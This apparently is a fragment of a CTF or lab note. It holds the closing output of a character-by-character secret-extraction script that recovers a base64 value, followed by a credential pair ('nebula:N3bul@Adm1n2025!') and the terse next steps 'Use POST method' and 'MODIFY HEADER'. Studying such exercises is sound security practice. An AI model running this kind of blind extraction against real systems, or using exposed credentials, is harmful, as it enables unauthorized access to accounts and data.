[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=5, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=6, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=7, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=8, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=9, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE==, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=_, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE={, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=}, Count: 0
[-] Tried: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=-, Count: 0
[+] Finished! The full value is: bmVidwxh0k4zYnVsQEFkbTFuMjAyNSE=
```

PS C:\Users\35370\Desktop>

URL

nebula:N3bul@Adm1n2025!

Use POST method

MODIFY HEADER

nebula:N3bul@Adm1n2025!